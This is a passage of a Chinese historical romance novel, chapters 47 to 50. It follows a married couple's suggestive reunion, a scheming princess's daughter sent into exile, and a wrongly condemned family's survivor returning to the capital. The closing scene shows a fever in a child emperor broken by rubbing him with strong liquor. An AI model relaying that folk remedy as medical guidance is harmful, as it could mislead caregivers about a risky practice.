许清妙笑着跟在他身旁,才记起问他:“你晚膳用过了吗?” 许恪点头,笑道:“用过了,先去净房洗漱。” 许清妙指了指净房:“那哥哥自己去,屋里备好了热水,想着你该回来了就让丫鬟们都准备好了。” “夫人想的真周到,那就去洗漱吧。” 他拉着她往里走,许清妙惊慌道:“你自己去就行了,我洗过了的。” 许恪转身将她抱了起来,朗声笑道:“几日不见,你在里面陪着我,我有很多话想与你说。” 许清妙:“” 没见过他几时有很多话说,肯定又是骗她的。 第47章 第47章 净房的进门处立着一扇两人宽的玉质屏风,屏风上用丹青勾画着一池出水芙蓉,朦胧月色下花瓣娇艳、水雾蒸腾,昏暗明灭间,沐浴的水雾好似悄悄地跑进了画中,如梦似幻。 屏风后,许清妙被许恪两手提着腰按在浴桶边缘,她想下去却被他堵着亲了下来,眉间耳后缱绻温柔,直到覆上她的唇瓣轻轻撕咬。 她低声轻呼,他便狡猾地趁机探入檀口,气势汹涌地掠夺她所有的呼吸。 身后的浴桶里正升起腾腾的热气,许清妙不敢往后倒,怕掉进水里,只得紧紧的攀附在许恪的肩上,双手扣紧恨不得双脚也缠上。 许恪似是看穿她的意图,双手捧起,将她整个抱在怀里,然后轻巧地转身,长腿一抬跨入了浴桶。 这是一只供两人同时沐浴的大桶,是今日鹊枝特意换上的,许清妙不解还曾问她为何突然换个这么大的,不会费水吗? 鹊枝一本正经地告诉她,净房里本就一直是用这种大浴桶的,只是回京那日正巧赶上浴桶开裂才用了那只小的代替,如今大浴桶已经修补好了,自然要换上的。 热水打湿衣物,许清妙手指抓着他的衣襟,挣扎道:“哥衣服湿” 半响,许恪才断断续续停了下来,热水打湿了俩人中衣,白色的布料粘在身上,又湿又重。 “妙妙这三日可受委屈了?” 许清妙摇头,搂着他的脖子呼吸急促,还挂在他腰间的腿挣扎着下来,许恪顺势松开钳制,只轻轻地扣着她的腰搂在怀里。 “不委屈,哥哥都知道了?” 许恪握着她的手指开始解开衣袍,湿漉漉地褪下挂在一旁,宽肩窄腰薄肌劲骨,一副精瘦健壮的身体大马金刀地坐下,紧接着便来拉她的衣带。 许清妙低头看了眼自己,半透明的衣服粘在身上,穿了比没穿还羞人,她便随他动作,褪下中衣,缓缓没入水里,掩耳盗铃般挡住他的视线。 “哥哥怎么不说话?可是哥哥派禁军去抓人的?” 她想转移许恪的视线,他那般直直的看着她,实在让她不敢抬眼看他。 “嗯,不是我。” 许恪的声音似刻意被压低,手上力道不减少,直接将她拉进怀里,坐在了他腿上。 许清妙不敢动了,也不敢开口说话,只一双水眸无助地抬起看向许恪。 她看到他的喉结滚过,接着便是水花响起,她被他压在了水桶上,晃动的水面上飘起一朵睡莲,水雾迷了她的眼睛,过了好一会才看清那不是睡莲,那是她藕粉色小衣上的绣花。 水荡荡而声不息,人昏昏而意不竭。 许清妙意识模糊地趴在桶边背对着他,眼前的屏风似乎也在晃动,她像是融进了画里,变成一朵被风吹雨打的芙蓉花。 屋外的鹊枝淡定地坐在廊下,脸上露出欣慰的笑容,主子们总算恢复如常。 前些日子,小姐和翰林夜里不叫水可把她吓坏了。 她以为小姐和翰林因为子嗣之事生分了,后来他们虽然又叫水了,只是不如从前激烈,她还是隐隐担心,直到今晚她机智的换了浴桶,主子们总算是如过去三年般恩爱如初,她也终于能安心了。 屋里的许清妙只觉得哥哥这趟回来又变了,他变得更过分了,他竟然让她抓着屏风,她羞得只想真钻进那屏风里算了。 最后,她是被他抱着出来的,净房里弄得满地是水,像遭了水灾似的。 简直不堪入目。 回到拔步床上,许清妙裹紧被子,露出红艳艳的小脸,半眯着眼望着他倒了温水过来喂她。 她像渴了很久的旅人,歪着头枕在他的臂弯一口接一口地被他抱着喂水,鼻尖呼吸全是俩人身上纠缠的气息,难分彼此。 许恪将放她放回枕上,转身放杯子,许清妙伸出一只手紧紧抓住他的中裤,不让他走开。 许恪一顿,低头看向她的手指,轻笑出声,随手将杯子搁在床边,再拉下床幔顺势躺下。 许清妙嘴角上扬,自觉地滚进他怀里,被他伸出手搂紧,闭着眼放松地贴在他的颈间。 “夫人,你再这样抱着,今晚可就别睡了。” 许恪勾唇逗她,用手指捏着她有些湿了的额发,轻轻撩动。 许清妙哼唧唧地蹭了蹭,糯糯地威胁道:“哥哥再乱来明日我就去跟五妹妹睡,她这几日可喊了我好几次去陪她,为了哥哥我都狠心拒绝了。” 倒不是她不想去,而是许清莲那嘴里什么都敢问,她实在怕被问起一些自己不清楚或者尴尬的事情。 “夫人恕罪,为夫不敢了。”许恪的声音含笑,顺着她哄。 许清妙吃吃的笑,不知不觉间话没说几句直接睡着了,留下许恪一人自言自语。 “等国丧过了,休沐日我带你出门走走” · 月照残荷,秋风四起。 长公主府一夜间人人自危,一向深居简出的长公主发了火,连夜将长女迟娉婷关了起来。 “孽障,你为了一个男人要死要活就算了,如今还敢不知死活地去惹许家,先皇已经驾崩,这些权臣你也敢去惹,你想死别拉上公主府。” 迟娉婷跪在地上,梗着脖子辩解道:“您贵为公主,是先皇的皇姐,如今皇上的姑姑,许恪他敢公然对抗皇族?” 她惯来以身份地位压人,可惜许恪从来不怕她,难道还要反过来让她怕去他了? 长公主鬓角发白,头疼不已,面对冥顽不灵入了魔障般的长女,只能狠下心来。 “明早便送你回胜州,让吕家好好管着你,再敢踏入京城一步,别怪娘不念母女之情。” 迟娉婷三年前嫁给了吕三宗的小儿子,公主府与前相府各取所需,她与吕家郎君自然没多少夫妻情分。 “我不回去,我要在京城给舅舅守灵。” 长公主厉声道:“闭嘴,给我带下去。” 门外守着的人推门进来,两个粗壮的婆子道了一声得罪,动作利索地将迟娉婷制住压了下去。 迟娉婷疯魔般怒吼:“您不能关着我,我不要回胜州,谁也不能勉强我。” 屋里的长公主摇摇欲坠,深深怀疑到此时此刻才来管教女儿会不会晚了。 “都怪我,迟郎早死,我怜惜偏爱他唯一的血脉,反倒将她养成了祸患。” 身边嬷嬷扶着她坐下,极力宽慰:“公主,您息怒,翁主她以后会理解您的苦心。” 长公主摇了摇头,心里知道只怕这个女儿是一条道走到黑了,再难挽回,只能管着她不要惹出杀身之祸。 迟娉婷被关回了卧房,守在外面的全是长公主身边的婆子丫头,她再没法自由出入。 她不甘心,却无能为力,她不过是想让许恪像个普通男人一般,痛悔曾经拒绝了她,可是这个简单的愿望怎么就那么难。 她是喜欢许恪,甚至偏执地爱上他,可更令人难以忍受的,是他的无视和偏爱。 · 翌日清晨,许清妙抱被酣睡,许恪已然精神抖擞地收拾妥当,躬身为她捏好被角才出了门。 院外,等候一旁的随安低声说道:“翰林,昨夜已经打听清楚,这回被抓的那些人家都是与长公主府有关的商户,被禁军抓走后,有人前往长公主府求情,但全被公主府的人赶了出来。” “听说长公主将迟翁主关起来了,这事难道跟翁主有关系?” 许恪不意外地嗯了一声,看来三年前他对这位翁主太仁慈了,所以她才会心存幻想。 随安见许恪默认,惊呼道:“少夫人当年说的不错,翁主这种人就不可能会改过自新。” 许恪不动声色地看了随安一眼,淡淡道:“少夫人为何这么说呢?” 随安挠了挠额头,回忆道:“具体的奴才也不记得了。” 许恪瞥了他一眼,“派人去盯着迟娉婷,直到她离开京城。” 随安觉得他家翰林瞥他这眼,像把小刀子扎向他,不由缩了缩脖子连忙应下。 “奴才马上去办。” 许清妙睡到临近午时才缓缓醒来,屋里安安静静,转头便看到放在床边柜子上的茶碗,她撑起身子端起来喝了一口。 不待她放下,门外就响起鹊枝的声音:“少夫人,您醒了吗?” 许清妙躺倒,清了清嗓子:“醒了,你进来吧。” 她身上的痕迹被中衣遮住了,不会被鹊枝瞧见。 鹊枝进来后利落地挂起床幔,笑眯眯的眼睛看着她笑道:“小姐,奴婢还给您按按?” 许清妙有气无力道:“按吧,今儿上午有人来找我吗?” 在家左右不过祖母和婆母传她,或者姐妹们找她玩,其他人都是下帖子才邀约不会突然来访。 鹊枝扶着许清妙趴好,缓缓给她揉肩捏腿,回道:“没有,一上午都安安静静,最近也没串门的夫人,不过二少爷把俞娘送回府里了。” 许清妙好奇道:“为何单单把俞娘送回来了?” 鹊枝低声说道:“听说是有以前认识俞娘的人找上门了,俞娘怕惹麻烦才让二公子将她送回来的。” 许清妙听了笑了笑,便不再关注。 “肚子饿了,先不按了。” 许清妙摸了摸空空的肚子,又想起今日药已经停了,“翰林可安排林大夫过来复诊?” 鹊枝摇头:“还没有,翰林早上匆匆忙忙走了,不过小姐您别担心,翰林肯定把您的事都记心上呢,等回府您问问就知道了。” 许清妙颔首,起身梳洗,换了一身浅绿色的长裙外罩披肩,既防风又不会闷热,正适合秋天穿。 院子里的树叶似乎一夜间变黄了,片片随风落下。 许清妙任鹊枝跟在身后叽叽喳喳说话,只自顾往饭厅走去。 第48章 第48章 胜州,吕府。 深宅大院内,一白发白须老人坐于正堂首位,其下手坐着与他面容相似的两个儿子。 一人稳重,一人轻浮。 “父亲,大哥的信到了。”吕家老二吕瑞现任胜州知州,此时一身青色官袍在身,略带急促地将一封厚厚的信递给老人。 “念吧。” 吕三宗老神在在端坐椅上,并未伸手,只让儿子念信。 吕三宗靠坐着软垫,半眯着眼听着二儿子念信,信是他的大儿子吕素写的,吕素在京为官,代替他去宫中凭吊先帝,当然更重要的是去弄清楚如今宫中形式。 吕家昌盛多年,自然树敌不少,如今他不在朝为官了,有些事自然得小心些。 可惜他这辈子儿女众多,但能跟在他眼前的也就三个嫡子,老大在京任侍郎,老二在胜州任知州,老三吃喝玩乐做个散官,如今他退居胜州就只求自保。 但有些事有些人,不是你自保他就不找上门的,前两日吕三宗就接到了刑部尚书常林的书信,曾经的得力部下,如今的催命符。 当初留下常林终究是个隐患,可他辞官的机会来得太巧,他没法再等。 吕老二看出父亲的心思根本不在信上,但仍然毕恭毕敬地念完了整封冗长的家信。 “爹,大哥的信写得真是云里雾里的,我这整篇听下来只听懂一件事,翁主提前出京了,她怎么就提前回来了?” 吕三宗没有说话,反倒是吕三郎郁闷的嚷嚷着。 “老三,你闭嘴。” 吕三宗从来对这个儿子不抱期待,但这人不上进却孝顺,人老了渐渐觉得这儿子挺顺眼,也算得他心意。 吕三郎赶紧闭嘴,靠坐在椅子上,装聋作哑地听父兄说话,脑子里想的却是今儿得抓紧找哪房妾室喝酒玩骰子。 “父亲,大哥信里说先帝虽突然病逝但朝廷安稳,政事顺畅,小皇帝又年幼,我瞧着短时间内都不会有人想起来对付我们吕家,父亲可以放心些了。” 吕三宗颔首,却提醒道:“但也不可大意了,回信给你大哥,让他给四大辅政大臣都送去厚礼,能结交就结交,不能也留个人情往来” “昨日让你去查常林家,有什么动静吗?” 常林与吕三宗是同乡,当年便是因着这份特殊的关系,吕三宗才会多看了常林一眼,也正是这层关系让常林这小子见缝插针地来接近他。 “看过了*,今早他们家的奴仆急匆匆地送了什么人出城,我已经让人跟上去了。” 吕三宗缓缓点头,说道:“去打探清楚是什么人送去哪里,还有不可让他们发现了。” “好的,父亲。”吕老二退至一旁坐下,吕三宗转头看向自顾自喝茶的三儿子。 “等翁主回来了,你去问清楚她身边的人,她为何突然回来?” “好,爹,还有其他事吗?没事我就出去了。” 吕三宗摇头:“去吧。” 眼看着不靠谱的三儿子走了,吕三宗才看向二儿子,认真道:“袁州的丝绸生意先停了,皇长子这条船已经沉了,我们的人得尽快全撤回来。” 这些年,他们吕家借着和皇长子互惠互利的合作,在产丝染丝纺织整条丝绸产业上赚了大钱。 他也早就知道皇长子的心思,自觉掺乎谋逆这种事不划算,他才提前辞官回乡的,如今看来他的决定相当的正确。 吕二郎犹豫道:“生意上我们一直很小心,连皇长子那边也极少人知道我们掺和在里面,真要全丢下吗?” 那可是每年数以十万计的白银,就这么丢了实在可惜,再算算自己花费的心血,那是真舍不得。 吕三宗啪的一声拍在椅背,两目怒视他:“贪婪,该放手时不放手,到头来必将是一无所有,这把年纪了,你该懂得取舍了,这种事还要我重新教你?” 吕二郎慌忙连胜应下:“儿子知错了,儿子立马去办。” 吕三宗看着走远的二儿子,心中叹气,他这样心狠手辣又极度聪慧之人,为何生的三个儿子都是平庸之辈?老大老实巴交、老二贪心有余能力不足,老三更是个只会玩的草包。 他辛苦打下的这份家业怕是难守了。 · 先帝出殡之日定在了月末最后一天,城中官员百姓皆是暗暗松了一口气。 等到出殡满月后,京中就不会如此戒严了。 天色刚刚微微亮起,许清妙难得醒的比许恪早,侧头看向闭着眼沉睡的许恪。 他的黑发枕在后脑,皮肤平整白净,乌黑的眉下浓密的眼睫,再配上挺拔俊秀的鼻梁,和棱角分明的唇瓣,整个五官透出一股山高水远的清冷,只有当他睁开眼睛望着她时,才能变得生动温柔。 昨儿夜里,他回来的晚,躺在床上时,她已经睡着了。 只是他搂着她,她便醒了过来,以自己都不曾察觉的依赖语气嘟囔:“怎么这么晚呢?” 许恪耐心十足的解释:“今日贡院里事多,等忙完就可以歇两日,明日傍晚让林大夫过来复诊,你等我一起见他,好吗?” 许清妙听到林大夫的名字,清醒过来,缓缓点头:“好。” 许恪手指穿插着她的发根,淡淡笑道:“妙妙,你怎么这么乖呢?” 乖得对他说的什么事情都说好,明明自己怕怀孕也怕婆母催生,却还是什么都听他安排。 这让他只想加倍的对她好,只要她不想要孩子,那不管她能不能有孕,他都不会让她生。 许清妙不晓得他想什么,只紧紧搂着他的脖子,哼哼道:“哥哥不喜欢吗?” 许恪颔首,低头亲了亲她:“喜欢,怎么会不喜欢,只是怕你受委屈,有什么不满意的就直接拒绝懂吗?” “懂,哥哥别把我想的太软弱,我才不会委屈自己。” “好,是哥哥的不是了。” “嗯就是。” · 天还没大亮,长公主府侧院,一辆马车从侧院里匆匆出来,出了院子一队侍从骑着马跟在车后。 马车一路往城外赶,车内被绑着的迟娉婷死死地盯着看守她的婆子,不甘受辱。 “翁主,奴婢劝您还是听话的好,这路途遥远万一路上有个好歹,我们做下人的也不好跟公主交代,您说是不是?” 迟娉婷没理那壮实的婆子,只转开了眼睛,默默盯着车窗外。 “公主还让奴婢转告您,往后您就安心做吕家媳妇不要再想着回京城了,吕家在胜州说一不二,还望你收敛自己脾气莫再自讨苦吃。” 迟娉婷听完不可思议地看向那婆子,怒吼道:“不可能,我娘怎么可能不要我了,你这恶奴休的胡说八道。” 曹婆子懒得跟她吵架,只心平气和道:“半年前,您是不是偷偷从胜州跑出来了,路上遇到了正好回乡探亲的许恪夫妇?” 迟娉婷惊恐地看向脸盘狠厉,身段强壮的曹婆子,颤抖道:“你怎么知道?” 半年前,她实在受不了吕家那混蛋,自己偷偷带了侍卫偷跑,想着回京求公主娘允许她和离,没想到赶在回京的渡口遇到了许恪夫妻。 “翁主,您的所作所为都有公主盯着,也有吕相派来的人看着,你能跑出来只是吕相随你跑,可公主并不希望你回京,吕家已经是公主能为你找到最好的归宿了。” 曹婆子是长公主的心腹,从长公主嫁给迟家大郎到迟家大郎病死,她可以说是看着翁主长大的,可惜这位被公主从小偏爱的翁主却从来不知轻重。 迟娉婷不敢置信,挣扎着身子想脱离,却在听了曹婆子接下来的话愣在了当场。 “翁主半年前让人拿了许恪和他夫人的生辰八字,在那些古刹野祠里做的事,公主也知道,您要保守这个秘密就乖乖听公主安排,否则公主府将不会再保你。” “公主还说,许恪如今入了阁,将来必然是相才,你现在得罪许家就是在给公主府掘坟,还望翁主你好自为之。” 迟娉婷歇力地躺倒在马车内,发出闷闷的哭声,她恨苍天不公。 马蹄扬尘四起,载着她永远的离开京城,离开生她养她的亲人。 而在路的另一端,常家的车马也正快马加鞭地行驶在官道上。 暮色四合时,两方车马在离京城千里之外的驿站相遇了。 “女郎,下车吧。” 一辆普通的马车上,老妇人扶着一位头戴帷帽的女子缓缓下车,身边跟着的护卫腰间带刀,个个凶神恶煞。 另一边,曹婆子扶着迟娉婷下车,迟娉婷脸色苍白,也不在意他人的眼光,只木愣愣地随着曹婆子进了驿站。 简陋的驿站,是草棚搭建的几间土屋,遮风挡雨是足够了,但女眷入住却是很不方便。 两方人马各坐一边,渭泾分明,零星的投宿之人纷纷避让。 “吃点吧,等到了京城您就该享福了。” 那老妇人脸带谄媚,自觉跟着这位女郎到京城是一趟赚钱的差事。 “只怕要让你失望了。” 那头戴帷帽带女子声音温柔沉稳,不似年轻女郎的活泼,反倒有种豁达宁静。 “不失望,不失望,能去京城走一遭,我老婆子这辈子也不亏。” 何况,常家老爷对这位天仙似的女郎多爱护呀,好些年了都养在宅子里,即便夫人不喜也舍不得放走了。 曹婆子自然也听到俩人谈话,只觉得那女郎的声音似是哪里听过,但又一时记不起。 她皱眉看过去,却被迟娉婷出声打断:“我渴了,让小二烫壶酒送来。” 曹婆子回身看她,见好几日不开口的人终于愿意说话,不由松了口气,招呼人去烫酒。 等她忙完,再回身看去,另一边的人已经上了马车准备继续出发了。 竟然这般连夜赶路,看来是急着进京的。 第49章 第49章 一夜秋雨,半度寒凉。 许清妙却是被热醒的,她整个人趴在柔软的锦被里,身上被许恪半搂半抱地压着,滚烫的热气从后背腰腹间传来。 “别动,马上就好。” 许恪的声音发颤,双手紧紧地扣住她,急促而火热的呼吸打在她的耳后,她不由缩了缩脖子,将脸埋进更深的棉絮褥子里。 半响,许清妙的额发都湿了,才被他捞起抱进怀里。 “热”许清妙伸手推了推他,触手所及一片湿润,看来不仅她热许恪也热的紧。 昨儿变了天,夜里入睡前,鹊枝带着丫鬟们给拔步床上换上了秋被,垫上了棉絮垫子,暖和舒适,却不想一大早捂的俩人出汗了。 “乖,别踢,我叫水给你擦洗。”许恪声音还带着浓浓的暗哑。 许清妙的脸颊贴着他的肌肤,平复着心跳,等到有了些力气才娇嗔道:“大早上的,哥哥这是为何呀?” 许恪轻咳一声,扯过一旁他脱下的中衣,给她擦了擦汗,才若无其事道:“一时情难自禁,妙妙不喜欢吗” 许清妙一时不知道看向哪里,只低声道:“没有不喜欢,只是林大夫开的药已经用完了。” “嗯,所以不必忍到三天后了。”许恪声音淡淡回道。 “我不是这个意思,我是”许清妙一时词穷,不知道是该反驳还是赞同。 她开始时候以为哥哥是为了治病才碰她,但后面渐渐已经能感受到哥哥并不是为了治病,而是要与她做真正的夫妻。 “那妙妙是想说让我忍着了?” 许恪低头看着她,门外传来丫鬟敲门的声音。 许清妙急忙道:“没有,哥哥无须忍着。” 说完,她觉得自己越说越乱了,什么叫无须忍着啊,说的好像鼓励哥哥随时那啥似的。 许恪低低的笑声散开,许清妙轻轻推了推他,“哥” · “太子哥哥,云蝶又回来了。” 时隔十八年,谢云蝶回到了京城,她知道自己始终有一日会回来,只是没想到是被人这般送来的。 白云苍狗,星霜荏苒,一切早已物是人非,曾经追杀她要她命的人早就不在了,而曾经以命护她的人也不在了。 隔着车窗,她圆润明媚的双眼望着人来人往的街道渐渐失了焦。 恍然间,她还是二八年华的少女,喜欢玩喜欢热闹,身边的所有人都笑着陪她闹。 直到她的婚事匆忙定下,父亲牵强地告诉她:“早点将你嫁出去才是对你好,蝶儿乖乖听话,往后跟着韩烈好好过日子,不要惦记家里。” 她前一刻坐上花轿从谢家抬出,后一刻,无数的禁军将她家围得水泄不通。 她盖着红盖头只听见耳边爆竹声喧天,直到有熟悉的哭喊声从远处传来,她才偷偷掀开轿帘往谢家看去,她看到她最敬重的父亲和哥哥们跪了一地。 谢家被禁军闯入抄家了。 “小姐,您别回头,老爷交代了,您已经出嫁不再是谢家人。” 不是谢家人?她怎么不是谢家人呢?父亲将她嫁给故交之子韩烈,不求门第不讲贫富,原来为的就是为了这一刻。 谢云蝶是见过韩烈的,那是一个浑身书卷气的斯文青年,她慢慢取下凤冠霞帔,默念着:对不起,我不能这样嫁给你。 “停轿!” 轿子外的人除了送嫁的谢家人,皆是韩家人,本就被谢家的突变惊到,一听喊停下,轿夫立马就停了轿。 “不能停呀,小姐,你乖乖听老爷的话吧。” 谢云蝶从花轿里走出来,红绣鞋踏上灰尘四起的地面,一头秀发散下,红唇黑发间眼神坚定。 “不用再说了,赶紧换马车送我去找太子。” 当今太子是谢云蝶的表哥,他们青梅竹马一起长大,谢云蝶曾经一度以为自己要嫁的人是太子表哥,直到定亲前父亲才告诉她:“谢家不可能再出一个皇后了。” 她不知道父亲为何这样说,但好像心里也没有多少难受,不能嫁给太子哥哥没关系,他还是她的表哥就成。 谢云蝶从没想过当皇后,她现在只想求太子哥哥救他们家,救她的父兄。 喧闹的街市里,马车一路狂奔,谢云蝶一身红袍从马车上飞奔而下,像飞蛾扑火般进了太子府。 “太子哥哥,求你救救父亲,你告诉陛下我们家可以辞官可以将家财都献给朝廷,求你帮我求求陛下吧。”她始终没有哭出来,只是一双红透了的眼睛期盼的望着乾德太子。 太子一身白袍文质彬彬,神情不忍的看着她,她噗通一声跪在他身前,他连忙扶着她起身,面色从为难到慢慢坚定。 谢云蝶拉过太子的手,紧紧抓着:“太子哥哥,你有办法吗?你告诉我,我去求别人也成,只要能救父兄我愿意做任何事。” 太子猛然惊醒,厉声道:“不成,不能去求别人,这事谁也帮不了,只有我能。” 即便赔上太子之位,他也要救下谢家,即为了报答母族舅家对他的多年维护之恩,更是为了成全他最后的一点私心,他不能眼睁睁看着他最爱的人痛苦流泪。 谢云蝶那时候天真地以为太子无所不能,以为他承诺了就真的能救下谢家上下。 可惜,终究是她太天真了,她没想到太子会为了她为了谢家不仅赔上了前途更赔上了性命,而她的家人也一个都没活下来,只有她孤零零地苟延残喘着。 如今再回到京城,昨日的风霜似乎还在凌厉地刮向她,她不由握紧了拳头。 “女郎,您怎么到了京城反倒郁郁寡欢了,这里多热闹呀,可比胜州热闹多了。” 谢云蝶垂眸低声回道:“这里有多热闹就有多可怕,既然来了便走一遭吧。” 马车停靠在一处幽静的别院,院门上书杏园二字,谢云蝶抬眼看去,便知道这是常林安排的外室别院,她虽不是常林的外室,但这几年却一直被他困住。 谢云蝶有办法摆脱他,但没必要,她会接近常林不过是因为常林是主审谢家冤案的主审官,她一开始想从常林那里找到证据翻案,可惜很快她就发现常林不是主谋,他那里找不到任何实质性的证据。 反倒是这几年因为被常林困在后院,她的踪迹再没被人发现,如此倒是合了她的意,京城里的人不能与她再有牵连。 谢云蝶进了内院歇下,而在院内的一角,一个不打眼的随从正从院子后门出来,匆匆往韩相府而去。 谢云蝶住下的当晚,常林便出现在了杏园,穿着最体面的衣袍,走进了谢云蝶所在的屋子。 “常林,你把我押到京城来作何打算?总不会这么多年了还对我有想法吧?” 常林尴尬笑道:“云姑娘,这么多年了我对你的心意你还不明白吗?只要你愿意,我立马就能休了我夫人娶你为妻。否则,我也只能忍痛将你送给其他人了。” 谢云蝶嗤笑:“常林你可真是够不要脸的,我今年都三十四了,你还想将我送给谁?”她自知因为有一张异于常人不见衰老的绝美容颜,才会一直被人觊觎。 “高官侯爵哪个不是上了年纪的?自然多的是喜欢你这款的。” 谢云蝶摸清楚了常林的意图,倒是不怕了,打定主意早做计划逃跑。 反正,到了京城自有人保她。 · 韩相府,书房。 韩平端着茶壶给正埋头写公文的韩烈添茶,而后立在一旁低声说道:“老爷,常林今日从胜州老家接了一女子进京,安置在杏园别院,而且派了侍卫看守。” 韩烈颔首:“继续盯着,其他不用做,他不动作才会奇怪。” 韩平不解道:“老爷,您既然知道常林捏造了伪证陷害谢家,为何这么多年不揭穿他呢,也好给夫人家里平反不是?说不定平反了夫人就自己回来了。” 韩烈娶妻那日,等来的不是他的未婚妻,而是谢家举家入狱,谢云蝶失踪的消息,但韩谢两家已经交换了婚书,无论婚礼成不成,韩烈都认定了谢云蝶就是他的夫人。 “证据还不足以给谢家平反。” 上一辈的谢家对韩家有恩,不管是为了报恩还是为了他自己,他都要找到谢云蝶为谢家翻案,他也想知道当年到底发生了什么事。 说话间,门房送来了常林邀请他赴家宴的帖子,约在三日后。 “回帖告诉他,我会如期赴约。” 韩烈哼笑接了帖子,转手丢在一旁,韩平更看不懂了,“老爷,您不怕常林给您设局吗?听说他惯用些不入流的法子笼络朝臣。” 韩烈摇头:“怕什么?我现在就怕他躲在洞里不敢动,只要他犯错自然有法子将他拿下。” “平叔,你下去忙吧。” 韩平还想问问,但知道韩烈不愿多说便退下了。 韩烈搁下狼毫笔,从案上的镂金锦盒里取出一支金蝶发簪,摩挲过无数次的发簪依旧栩栩如生,而他想送的人却始终没来,那年知道定亲的人是她时,他欣喜地跑遍了京城的铺子,才选中这支簪子想着成亲之日送她。 却不想一留这么些年。 他从来不觉得自己是痴情之人,却在这十八年里不知不觉地变了一个执着于找到她的人。 第50章 第50章 秋日里雨一阵,风一阵,院角落的那排湘妃竹的叶子飒飒地往下落。 庭院正堂大门敞开,许清妙端坐椅子上,屏气凝神望着正为她把脉的林大夫。 林大夫一张黑脸像是在这三个月里又晒黑了,整张脸黝黑黝黑的看上去更加不像一名大夫。 许恪站在她背后,扶着她的肩膀让她轻靠在他身前,俩人专心致志地等着林大夫的诊脉结果。 “不用紧张,调理得尚可,宫寒之症已经见好,夫人自己也能感受得到,至于是否能有孕就看后续情况了。” 许清妙不解问道:“林大夫的意思是我还是不能有孕?” “非也,只是还得慢慢调理,汤药虽然可以停了,但你的体质还弱再养养等完全好了,自然就能受孕。” 许清妙抬头看向身后的许恪,圆溜溜的眼睛里噙着些失望。 许恪握着她的手紧了紧,安抚道:“林大夫的意思是养好身体就自然好了,咱们不急。” 林大夫哼道:“好好养好身体,日后有孕是自然而然的事情。” 许清妙心底是有些失望,但也有些松了一口气。 “林大夫可有什么医嘱,往后我们定当遵守。” 许恪极快地接受了大夫的诊断,只要治好了清妙的宫寒就已经是好事了,其他的他并不强求。 林大夫摸了摸胡子摇头:“没有,好好保暖养好身体就成了。” 林大夫该说的说了,很快告辞离开。 许清妙望着院子里的落叶,一时不知道该如何是好。 “哥哥,我们该怎么办呢?祖母她们盼孩子盼了很久了。” 许恪握着她手指带她坐下,眼睛认真地看着她:“我会告诉母亲他们你的宫寒已经好了,至于有孕不能急,我去跟她们说,你别担心。” 许清妙隐隐觉得没这么容易解决,但还是缓缓点头同意了。 · 深夜大雨倾盆,宫门悄悄开启,一辆马车疾驰而出,一路马不停蹄地驶向许府。 许清妙刚睡着便听见紧促的敲门声,紧接着是鹊枝的声音:“翰林,前院随安找您,急事。” 正两手搂着她入睡的许恪半闭着眼,闻声立马坐起,低声回道:“知道了。” 许恪转头便见许清妙已经睁开眼看着他。 “哥哥,你快去看看吧,是不是出事了?” 如果不是急事大事随安不可能连夜来叫醒许恪。 许恪颔首,抬手将她塞回被子中,捏好被角。 “别慌,不是大事,我去看看,要不要喊鹊枝进来守着?”许恪一边安抚她,一边起身穿戴衣袍,发髻随手挽起简单固定。 许清妙抱着被子看着他,有条不紊地快速收拾好,“不用,我自己睡就成,你赶紧去吧。” 许恪点头,不再耽搁,只深深看了她一眼就转身走了。 外面下着雨,随安递了伞给他。 许恪接过问道:“出什么事了?” “宫中内侍来找您,事关皇上,说要见了您才能说,这会正在前院等您。”随安办事牢靠,并没有惊动府里其他人。 “嗯,先不要惊动祖父,等我见过内侍再说。” 许恪不再问话,自己撑着伞大步往前,熟悉的院子里一片漆黑,全靠随安手中那盏油纸裹着的灯笼。 后院到前院走了近一刻钟,偏厅里内侍官正焦急地跺脚,见许恪进屋急忙迎了过来。 “许参知,陛下高热不醒,昏迷前让奴婢来找您。” 内侍的话令许恪眉头紧皱,“可找了太医看过?” “太医院四位医正都守着呢,可依旧没退热,请许参知进宫守着陛下吧。” 许恪望向内侍,这人确实是小皇帝身边的侍从。 许恪没有直接应下,只问道:“皇上从何时开始发烧的?” “今儿午后就开始低热,等到晚饭后就开始高热了,奴婢出宫前,陛下已经烧的抽搐昏厥。” 许恪颔首,“走吧,派人去通知韩相了吗?” 内侍官一愣,摇头:“尚未,陛下清醒时只吩咐来通知您。” 许恪沉默不语,再开口便道:“我现在马上随你进宫,你立马派你身边的人去韩相府通知韩相,切记就说两边是同时通知。” 内侍官也是个聪明人,立马点头应下,招来跟着他一起出来的小侍从让他去了韩相府报信。 许恪带着内侍官出门,临走前喊来随安,嘱咐道:“等天亮了就去将事情都告诉我爹,府里事听他安排。” 他们家许大爷谨慎稳重,这种敏感时候该如何看顾府邸,自然不用他做儿子的多说。 “另外,去告诉少夫人,我过几日才会回来,不用为我担心。” 随安一一应下,看着自家翰林孤身跟着内侍官走进了大雨之中。 · 太极宫内,前殿停放着先帝棺椁,守灵的妃嫔早已哭干了眼泪。 而后殿小皇帝临时住所里,此时充斥着慌乱,太医院的医正争论不休,对小皇帝的高热束手无策。 许恪见到的小皇帝已经烧得嘴唇起皮,脸色发烫,整个昏迷不醒。 “都烧成这样了,你们也不想法子给陛下退热?” 许恪低沉的嗓音响起,“去打盆凉水来,再拿烈酒过来。” 小皇帝烧成这样,既没有亲娘守在一旁,更没有个贴心的侍从在旁,唯一得他信赖的亲自跑去找他,将小皇帝丢在这里都快烧成傻子了。 许恪自知既然他管了这事,小皇帝就绝不能在他手里出事。 也不管那些医正的废话,撸起袖子给小皇帝掀开被子,褪下衣物。 “许参知,陛下是受凉发热,您这么弄陛下的病情得加重了,需得捂住发汗才能退烧。” 一白胡子医正拦在他身前,义正言辞。 许恪转身拧了湿帕子贴在皇帝额头,转身看着众人:“你们捂了这么久了陛下可退热了?再耽搁下去,出了事你们负责?” 众人噤声不语,许恪也不想与他们废话,这些人都怕担责任,一直在用最保守的方式给皇帝降温,可根本不见效果。 他虽不是熟知医理,却知道高热降温是基本常识,不管什么原因先降热才是关键。 他将酒倒进干净的盆里,扯过一块帕子浸入酒中,拧了拧,看向小皇帝烧的发热的身体。 没法子再等了,只能试试书上看来的一些法子。 许恪不再犹豫,将浸了烈酒的帕子往小皇帝的手臂脖子大腿等位置用力擦去,反复擦了好一会,直到发红出汗。 眼看着小皇帝开始出汗了,他才停下,命人拿了干净的衣袍给他换上。 再将被子盖好。 守在一旁的侍从紧张地盯着小皇帝,直到见到小皇帝开始冒出大汗来,才惊喜地欢呼道:“发汗了,发汗了。” 